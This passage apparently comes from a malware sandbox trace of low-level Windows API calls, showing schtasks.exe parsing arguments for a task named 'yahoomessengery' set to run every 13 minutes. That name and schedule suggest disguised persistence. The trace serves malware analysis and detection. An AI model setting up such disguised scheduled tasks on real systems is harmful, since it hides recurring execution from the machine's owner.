StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0065.729] SetLastError (dwErrCode=0x490) [0065.730] lstrlenW (lpString="showsid") returned 7 [0065.730] lstrlenW (lpString="showsid") returned 7 [0065.730] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.730] GetProcessHeap () returned 0x2d0000 [0065.730] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec400) returned 1 [0065.730] GetProcessHeap () returned 0x2d0000 [0065.730] RtlReAllocateHeap (Heap=0x2d0000, Flags=0xc, Ptr=0x2ec400, Size=0x16) returned 0x2ec400 [0065.730] lstrlenW (lpString="tn") returned 2 [0065.730] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.730] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|showsid|") returned 9 [0065.730] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|tn|") returned 4 [0065.730] lstrlenW (lpString="|showsid|") returned 9 [0065.730] lstrlenW (lpString="|tn|") returned 4 [0065.730] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0065.731] SetLastError (dwErrCode=0x490) [0065.731] SetLastError (dwErrCode=0x490) [0065.731] SetLastError (dwErrCode=0x0) [0065.732] lstrlenW (lpString="/tn") returned 3 [0065.732] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0065.732] SetLastError (dwErrCode=0x490) [0065.732] SetLastError (dwErrCode=0x0) [0065.732] lstrlenW (lpString="/tn") returned 3 [0065.732] GetProcessHeap () returned 0x2d0000 [0065.732] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2ec3a0 [0065.732] GetProcessHeap () returned 0x2d0000 [0065.732] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecdd0 [0065.732] SetLastError (dwErrCode=0x0) [0065.732] SetLastError (dwErrCode=0x0) [0065.732] lstrlenW (lpString="yahoomessengery") returned 15 [0065.732] lstrlenW (lpString="-/") returned 2 [0065.732] StrChrIW (lpStart="-/", wMatch=0x79) returned 0x0 [0065.732] SetLastError (dwErrCode=0x490) [0065.732] SetLastError (dwErrCode=0x490) [0065.732] SetLastError (dwErrCode=0x0) [0065.732] lstrlenW (lpString="yahoomessengery") returned 15 [0065.732] StrChrIW (lpStart="yahoomessengery", wMatch=0x3a) returned 0x0 [0065.732] SetLastError (dwErrCode=0x490) [0065.732] SetLastError (dwErrCode=0x0) [0065.732] lstrlenW (lpString="yahoomessengery") returned 15 [0065.732] GetProcessHeap () returned 0x2d0000 [0065.732] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece00 [0065.732] GetProcessHeap () returned 0x2d0000 [0065.732] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece30 [0065.732] SetLastError (dwErrCode=0x0) [0065.732] SetLastError (dwErrCode=0x0) [0065.732] lstrlenW (lpString="/sc") returned 3 [0065.733] lstrlenW (lpString="-/") returned 2 [0065.733] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0065.733] lstrlenW (lpString="?") returned 1 [0065.733] lstrlenW (lpString="?") returned 1 [0065.733] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.733] lstrlenW (lpString="sc") returned 2 [0065.733] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.733] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|?|") returned 3 [0065.733] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|sc|") returned 4 [0065.733] lstrlenW (lpString="|?|") returned 3 [0065.733] lstrlenW (lpString="|sc|") returned 4 [0065.733] SetLastError (dwErrCode=0x490) [0065.733] lstrlenW (lpString="create") returned 6 [0065.733] lstrlenW (lpString="create") returned 6 [0065.733] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.733] lstrlenW (lpString="sc") returned 2 [0065.733] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.733] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|create|") returned 8 [0065.733] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|sc|") returned 4 [0065.733] lstrlenW (lpString="|create|") returned 8 [0065.733] lstrlenW (lpString="|sc|") returned 4 [0065.733] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0065.733] SetLastError (dwErrCode=0x490) [0065.733] lstrlenW (lpString="delete") returned 6 [0065.733] lstrlenW (lpString="delete") returned 6 [0065.734] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.734] lstrlenW (lpString="sc") returned 2 [0065.734] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.734] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|delete|") returned 8 [0065.734] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|sc|") returned 4 [0065.734] lstrlenW (lpString="|delete|") returned 8 [0065.734] lstrlenW (lpString="|sc|") returned 4 [0065.734] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0065.734] SetLastError (dwErrCode=0x490) [0065.734] lstrlenW (lpString="query") returned 5 [0065.734] lstrlenW (lpString="query") returned 5 [0065.734] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.734] lstrlenW (lpString="sc") returned 2 [0065.734] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.734] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|query|") returned 7 [0065.734] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|sc|") returned 4 [0065.734] lstrlenW (lpString="|query|") returned 7 [0065.734] lstrlenW (lpString="|sc|") returned 4 [0065.734] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0065.734] SetLastError (dwErrCode=0x490) [0065.734] lstrlenW (lpString="change") returned 6 [0065.734] lstrlenW (lpString="change") returned 6 [0065.734] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.734] lstrlenW (lpString="sc") returned 2 [0065.734] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.735] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|change|") returned 8 [0065.735] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|sc|") returned 4 [0065.735] lstrlenW (lpString="|change|") returned 8 [0065.735] lstrlenW (lpString="|sc|") returned 4 [0065.735] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0065.735] SetLastError (dwErrCode=0x490) [0065.735] lstrlenW (lpString="run") returned 3 [0065.735] lstrlenW (lpString="run") returned 3 [0065.735] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.735] lstrlenW (lpString="sc") returned 2 [0065.735] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.735] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|run|") returned 5 [0065.735] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|sc|") returned 4 [0065.735] lstrlenW (lpString="|run|") returned 5 [0065.735] lstrlenW (lpString="|sc|") returned 4 [0065.735] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0065.735] SetLastError (dwErrCode=0x490) [0065.735] lstrlenW (lpString="end") returned 3 [0065.735] lstrlenW (lpString="end") returned 3 [0065.735] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.735] lstrlenW (lpString="sc") returned 2 [0065.735] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.735] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|end|") returned 5 [0065.735] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|sc|") returned 4 [0065.735] lstrlenW (lpString="|end|") returned 5 [0065.735] lstrlenW (lpString="|sc|") returned 4 [0065.735] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0065.736] SetLastError (dwErrCode=0x490) [0065.736] lstrlenW (lpString="showsid") returned 7 [0065.736] lstrlenW (lpString="showsid") returned 7 [0065.736] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.736] lstrlenW (lpString="sc") returned 2 [0065.736] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.736] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|showsid|") returned 9 [0065.736] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|sc|") returned 4 [0065.736] lstrlenW (lpString="|showsid|") returned 9 [0065.736] lstrlenW (lpString="|sc|") returned 4 [0065.736] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0065.736] SetLastError (dwErrCode=0x490) [0065.736] SetLastError (dwErrCode=0x490) [0065.736] SetLastError (dwErrCode=0x0) [0065.736] lstrlenW (lpString="/sc") returned 3 [0065.736] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0065.736] SetLastError (dwErrCode=0x490) [0065.736] SetLastError (dwErrCode=0x0) [0065.736] lstrlenW (lpString="/sc") returned 3 [0065.736] GetProcessHeap () returned 0x2d0000 [0065.736] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2ec430 [0065.736] GetProcessHeap () returned 0x2d0000 [0065.736] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece60 [0065.736] SetLastError (dwErrCode=0x0) [0065.736] SetLastError (dwErrCode=0x0) [0065.736] lstrlenW (lpString="MINUTE") returned 6 [0065.736] lstrlenW (lpString="-/") returned 2 [0065.736] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0065.736] SetLastError (dwErrCode=0x490) [0065.736] SetLastError (dwErrCode=0x490) [0065.737] SetLastError (dwErrCode=0x0) [0065.737] lstrlenW (lpString="MINUTE") returned 6 [0065.737] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0065.737] SetLastError (dwErrCode=0x490) [0065.737] SetLastError (dwErrCode=0x0) [0065.737] lstrlenW (lpString="MINUTE") returned 6 [0065.737] GetProcessHeap () returned 0x2d0000 [0065.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ec450 [0065.737] GetProcessHeap () returned 0x2d0000 [0065.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece90 [0065.737] SetLastError (dwErrCode=0x0) [0065.737] SetLastError (dwErrCode=0x0) [0065.737] lstrlenW (lpString="/mo") returned 3 [0065.737] lstrlenW (lpString="-/") returned 2 [0065.737] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0065.737] lstrlenW (lpString="?") returned 1 [0065.737] lstrlenW (lpString="?") returned 1 [0065.737] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.737] lstrlenW (lpString="mo") returned 2 [0065.737] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.737] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|?|") returned 3 [0065.737] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|mo|") returned 4 [0065.737] lstrlenW (lpString="|?|") returned 3 [0065.737] lstrlenW (lpString="|mo|") returned 4 [0065.737] SetLastError (dwErrCode=0x490) [0065.737] lstrlenW (lpString="create") returned 6 [0065.737] lstrlenW (lpString="create") returned 6 [0065.737] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.737] lstrlenW (lpString="mo") returned 2 [0065.737] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.738] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|create|") returned 8 [0065.738] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|mo|") returned 4 [0065.738] lstrlenW (lpString="|create|") returned 8 [0065.738] lstrlenW (lpString="|mo|") returned 4 [0065.738] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0065.738] SetLastError (dwErrCode=0x490) [0065.738] lstrlenW (lpString="delete") returned 6 [0065.738] lstrlenW (lpString="delete") returned 6 [0065.738] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.738] lstrlenW (lpString="mo") returned 2 [0065.738] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.738] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|delete|") returned 8 [0065.738] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|mo|") returned 4 [0065.738] lstrlenW (lpString="|delete|") returned 8 [0065.738] lstrlenW (lpString="|mo|") returned 4 [0065.738] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0065.738] SetLastError (dwErrCode=0x490) [0065.738] lstrlenW (lpString="query") returned 5 [0065.738] lstrlenW (lpString="query") returned 5 [0065.738] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.738] lstrlenW (lpString="mo") returned 2 [0065.738] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.738] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|query|") returned 7 [0065.738] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|mo|") returned 4 [0065.738] lstrlenW (lpString="|query|") returned 7 [0065.738] lstrlenW (lpString="|mo|") returned 4 [0065.738] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0065.739] SetLastError (dwErrCode=0x490) [0065.739] lstrlenW (lpString="change") returned 6 [0065.739] lstrlenW (lpString="change") returned 6 [0065.739] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.739] lstrlenW (lpString="mo") returned 2 [0065.739] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.739] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|change|") returned 8 [0065.739] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|mo|") returned 4 [0065.739] lstrlenW (lpString="|change|") returned 8 [0065.739] lstrlenW (lpString="|mo|") returned 4 [0065.739] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0065.739] SetLastError (dwErrCode=0x490) [0065.739] lstrlenW (lpString="run") returned 3 [0065.739] lstrlenW (lpString="run") returned 3 [0065.739] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.739] lstrlenW (lpString="mo") returned 2 [0065.739] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.739] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|run|") returned 5 [0065.739] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|mo|") returned 4 [0065.739] lstrlenW (lpString="|run|") returned 5 [0065.739] lstrlenW (lpString="|mo|") returned 4 [0065.739] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0065.739] SetLastError (dwErrCode=0x490) [0065.739] lstrlenW (lpString="end") returned 3 [0065.739] lstrlenW (lpString="end") returned 3 [0065.739] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.739] lstrlenW (lpString="mo") returned 2 [0065.739] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.740] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|end|") returned 5 [0065.740] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|mo|") returned 4 [0065.740] lstrlenW (lpString="|end|") returned 5 [0065.740] lstrlenW (lpString="|mo|") returned 4 [0065.740] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0065.740] SetLastError (dwErrCode=0x490) [0065.740] lstrlenW (lpString="showsid") returned 7 [0065.740] lstrlenW (lpString="showsid") returned 7 [0065.740] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.740] lstrlenW (lpString="mo") returned 2 [0065.740] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.740] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|showsid|") returned 9 [0065.740] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|mo|") returned 4 [0065.740] lstrlenW (lpString="|showsid|") returned 9 [0065.740] lstrlenW (lpString="|mo|") returned 4 [0065.740] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0065.740] SetLastError (dwErrCode=0x490) [0065.740] SetLastError (dwErrCode=0x490) [0065.740] SetLastError (dwErrCode=0x0) [0065.740] lstrlenW (lpString="/mo") returned 3 [0065.740] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0065.740] SetLastError (dwErrCode=0x490) [0065.740] SetLastError (dwErrCode=0x0) [0065.740] lstrlenW (lpString="/mo") returned 3 [0065.740] GetProcessHeap () returned 0x2d0000 [0065.740] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2ec470 [0065.740] GetProcessHeap () returned 0x2d0000 [0065.740] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecec0 [0065.740] SetLastError (dwErrCode=0x0) [0065.741] SetLastError (dwErrCode=0x0) [0065.741] lstrlenW (lpString="13") returned 2 [0065.741] lstrlenW (lpString="-/") returned 2 [0065.741] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0065.741] SetLastError (dwErrCode=0x490) [0065.741] SetLastError (dwErrCode=0x490) [0065.741] SetLastError (dwErrCode=0x0) [0065.741] lstrlenW (lpString="13") returned 2 [0065.741] StrChrIW (lpStart="13", wMatch=0x3a) returned 0x0 [0065.741] SetLastError (dwErrCode=0x490) [0065.741] SetLastError (dwErrCode=0x0) [0065.741] lstrlenW (lpString="13") returned 2 [0065.741] GetProcessHeap () returned 0x2d0000 [0065.741] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x6) returned 0x2ec490 [0065.741] GetProcessHeap () returned 0x2d0000 [0065.741] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecef0 [0065.741] SetLastError (dwErrCode=0x0) [0065.741] SetLastError (dwErrCode=0x0) [0065.741] lstrlenW (lpString="/tr") returned 3 [0065.741] lstrlenW (lpString="-/") returned 2 [0065.741] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0065.741] lstrlenW (lpString="?") returned 1 [0065.741] lstrlenW (lpString="?") returned 1 [0065.741] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.741] lstrlenW (lpString="tr") returned 2 [0065.741] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.741] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|?|") returned 3 [0065.741] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|tr|") returned 4 [0065.741] lstrlenW (lpString="|?|") returned 3 [0065.741] lstrlenW (lpString="|tr|") returned 4 [0065.742] SetLastError (dwErrCode=0x490) [0065.742] lstrlenW (lpString="create") returned 6 [0065.742] lstrlenW (lpString="create") returned 6 [0065.742] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.742] lstrlenW (lpString="tr") returned 2 [0065.742] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.742] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|create|") returned 8 [0065.742] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|tr|") returned 4 [0065.742] lstrlenW (lpString="|create|") returned 8 [0065.742] lstrlenW (lpString="|tr|") returned 4 [0065.742] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0065.742] SetLastError (dwErrCode=0x490) [0065.742] lstrlenW (lpString="delete") returned 6 [0065.742] lstrlenW (lpString="delete") returned 6 [0065.742] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.742] lstrlenW (lpString="tr") returned 2 [0065.742] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.742] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|delete|") returned 8 [0065.742] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|tr|") returned 4 [0065.742] lstrlenW (lpString="|delete|") returned 8 [0065.742] lstrlenW (lpString="|tr|") returned 4 [0065.742] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0065.742] SetLastError (dwErrCode=0x490) [0065.742] lstrlenW (lpString="query") returned 5 [0065.742] lstrlenW (lpString="query") returned 5 [0065.742] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.742] lstrlenW (lpString="tr") returned 2 [0065.743] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.743] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|query|") returned 7 [0065.743] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|tr|") returned 4 [0065.743] lstrlenW (lpString="|query|") returned 7 [0065.743] lstrlenW (lpString="|tr|") returned 4 [0065.743] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0065.743] SetLastError (dwErrCode=0x490) [0065.743] lstrlenW (lpString="change") returned 6 [0065.743] lstrlenW (lpString="change") returned 6 [0065.743] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.743] lstrlenW (lpString="tr") returned 2 [0065.743] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.743] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|change|") returned 8 [0065.743] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|tr|") returned 4 [0065.743] lstrlenW (lpString="|change|") returned 8 [0065.743] lstrlenW (lpString="|tr|") returned 4 [0065.743] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0065.743] SetLastError (dwErrCode=0x490) [0065.743] lstrlenW (lpString="run") returned 3 [0065.743] lstrlenW (lpString="run") returned 3 [0065.743] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.743] lstrlenW (lpString="tr") returned 2 [0065.743] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.743] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|run|") returned 5 [0065.743] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|tr|") returned 4 [0065.743] lstrlenW (lpString="|run|") returned 5 [0065.743] lstrlenW (lpString="|tr|") returned 4 [0065.744] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0065.744] SetLastError (dwErrCode=0x490) [0065.744] lstrlenW (lpString="end") returned 3 [0065.744] lstrlenW (lpString="end") returned 3 [0065.744] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.744] lstrlenW (lpString="tr") returned 2 [0065.744] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.744] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|end|") returned 5 [0065.744] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|tr|") returned 4 [0065.744] lstrlenW (lpString="|end|") returned 5 [0065.744] lstrlenW (lpString="|tr|") returned 4 [0065.744] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0065.744] SetLastError (dwErrCode=0x490) [0065.744] lstrlenW (lpString="showsid") returned 7 [0065.744] lstrlenW (lpString="showsid") returned 7 [0065.744] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.744] lstrlenW (lpString="tr") returned 2 [0065.744] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.744] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|showsid|") returned 9 [0065.744] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|tr|") returned 4 [0065.744] lstrlenW (lpString="|showsid|") returned 9 [0065.744] lstrlenW (lpString="|tr|") returned 4 [0065.744] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0065.744] SetLastError (dwErrCode=0x490) [0065.744] SetLastError (dwErrCode=0x490) [0065.744] SetLastError (dwErrCode=0x0) [0065.745] lstrlenW (lpString="/tr") returned 3 [0065.745] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0065.745] SetLastError (dwErrCode=0x490) [0065.745] SetLastError (dwErrCode=0x0) [0065.745] lstrlenW (lpString="/tr") returned 3 [0065.745] GetProcessHeap () returned 0x2d0000 [0065.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2ec4b0 [0065.745] GetProcessHeap () returned 0x2d0000 [0065.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecf20 [0065.745] SetLastError (dwErrCode=0x0) [0065.745] SetLastError (dwErrCode=0x0) [0065.745] 